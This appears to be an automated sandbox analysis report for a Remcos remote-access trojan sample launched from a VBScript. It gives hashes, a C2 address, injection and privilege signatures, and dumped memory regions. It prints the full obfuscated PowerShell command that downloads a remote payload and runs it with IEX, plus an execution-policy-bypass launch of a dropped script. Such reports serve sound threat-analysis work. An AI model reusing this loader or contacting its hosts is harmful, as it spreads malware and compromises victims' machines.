remcos | 6fdcc4b886c1ddcd5a76bfb4f8c79cf39f7c3c3fbe08cee92fa5a8eeafc57e43

General

Target

Appraisa.vbs
Size

662B
MD5

2e95d045ff86903502b52f5fd0976aad
SHA1

c74e479ff249f1e8c248b8a67e318a61b1f1d5e4
SHA256

dae93e987a854255ff55ce9f62729f17f57d3f8a56933a57cb8de89b698e81f0
SHA512

0427fa613d91d41c98dfb7d9a964c74857813959f427eb060a1a39c2cf289235aaa0aec6015cea8d7bd16da1e14bae3ba88c998780d33ea6faf9d0b8102264df

Score

10^/10

remcos rat

Malware Config

Extracted

Family

remcos

C2

194.5.97.183:8888

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Blocklisted process makes network request 3 IoCs

Processes:

powershell.exe

flow pid process

8 632 powershell.exe
18 632 powershell.exe
20 632 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1864 set thread context of 2904 1864 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

632 powershell.exe
632 powershell.exe
632 powershell.exe
1864 powershell.exe
1864 powershell.exe
1864 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 632 powershell.exe
Token: SeDebugPrivilege 1864 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

aspnet_compiler.exe

pid process

2904 aspnet_compiler.exe

flow	pid	process
8	632	powershell.exe
18	632	powershell.exe
20	632	powershell.exe

description	pid	process	target process
PID 1864 set thread context of 2904	1864	powershell.exe	aspnet_compiler.exe

pid	process
632	powershell.exe
632	powershell.exe
632	powershell.exe
1864	powershell.exe
1864	powershell.exe
1864	powershell.exe

description	pid	process
Token: SeDebugPrivilege	632	powershell.exe
Token: SeDebugPrivilege	1864	powershell.exe

pid	process
2904	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 3968 wrote to memory of 632	3968	WScript.exe	powershell.exe
PID 3968 wrote to memory of 632	3968	WScript.exe	powershell.exe
PID 632 wrote to memory of 1864	632	powershell.exe	powershell.exe
PID 632 wrote to memory of 1864	632	powershell.exe	powershell.exe
PID 1864 wrote to memory of 2904	1864	powershell.exe	aspnet_compiler.exe
PID 1864 wrote to memory of 2904	1864	powershell.exe	aspnet_compiler.exe
PID 1864 wrote to memory of 2904	1864	powershell.exe	aspnet_compiler.exe
PID 1864 wrote to memory of 2904	1864	powershell.exe	aspnet_compiler.exe
PID 1864 wrote to memory of 2904	1864	powershell.exe	aspnet_compiler.exe
PID 1864 wrote to memory of 2904	1864	powershell.exe	aspnet_compiler.exe
PID 1864 wrote to memory of 2904	1864	powershell.exe	aspnet_compiler.exe
PID 1864 wrote to memory of 2904	1864	powershell.exe	aspnet_compiler.exe
PID 1864 wrote to memory of 2904	1864	powershell.exe	aspnet_compiler.exe
PID 1864 wrote to memory of 2904	1864	powershell.exe	aspnet_compiler.exe
PID 1864 wrote to memory of 2904	1864	powershell.exe	aspnet_compiler.exe
PID 1864 wrote to memory of 2904	1864	powershell.exe	aspnet_compiler.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Appraisa.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:3968

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $v0 ='N#t.@@#b'.Replace('#','e').Replace('@@','w');$v00 = '%li!!'.Replace('%','C').Replace('!!','ent');$V000 = 'D$$$$$$$$$$$n%%%%%%%%%%%%ng'.Replace('%%%%%%%%%%%%','loadStri').Replace('$$$$$$$$$$$','ow');$v1 = '$e^'.replace('$','I').replace('^','x');$v9999 = '(Ne`W&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&00(''https://ia601509.us.archive.org/35/items/all_20210420_20210420_1440/ALL.TXT'')'.Replace('&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&','-O`BjEcT $v0$v00 ).$V0');$TC=I`E`X ($v9999 -Join '')|I`E`X
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:632

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windo 1 -noexit -exec bypass -file "C:\Users\Public\ Microsoft.ps1"
3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1864

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
4⤵
- Suspicious use of SetWindowsHookEx
PID:2904

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Public\ Microsoft.ps1
MD5
eda0264cc0baa7804ce2a32a99aa9b98

SHA1
274b4d04e802370cac624649ea30149dded4e053

SHA256
950cc79c3173d2a1ad76a7b8e64c9100ca929caf0201396758380ff2d712680f

SHA512
43f6dd07e297c157f54147aa34512b4812f2650f990865c81181e14d379bf12352fcc3c2d20fbfb535d8bf2a3b5ebc7ab6aa0cd47ab498f0d1f5818e41bf9a74

Download Submit
memory/632-114-0x0000000000000000-mapping.dmp

Download
memory/632-120-0x0000020C6EED0000-0x0000020C6EED1000-memory.dmp

Filesize
4KB

Download
memory/632-123-0x0000020C6FA30000-0x0000020C6FA31000-memory.dmp

Filesize
4KB

Download
memory/632-124-0x0000020C6EF90000-0x0000020C6EF92000-memory.dmp

Filesize
8KB

Download
memory/632-125-0x0000020C6EF93000-0x0000020C6EF95000-memory.dmp

Filesize
8KB

Download
memory/632-130-0x0000020C6EF96000-0x0000020C6EF98000-memory.dmp

Filesize
8KB

Download
memory/1864-145-0x000002099A983000-0x000002099A985000-memory.dmp

Filesize
8KB

Download
memory/1864-144-0x000002099A980000-0x000002099A982000-memory.dmp

Filesize
8KB

Download
memory/1864-160-0x000002099B500000-0x000002099B501000-memory.dmp

Filesize
4KB

Download
memory/1864-135-0x0000000000000000-mapping.dmp

Download
memory/1864-177-0x000002099B4B0000-0x000002099B4C8000-memory.dmp

Filesize
96KB

Download
memory/1864-184-0x000002099A986000-0x000002099A988000-memory.dmp

Filesize
8KB

Download
memory/2904-182-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/2904-183-0x000000000042EEEF-mapping.dmp

Download
memory/2904-188-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download

Analysis

Sharing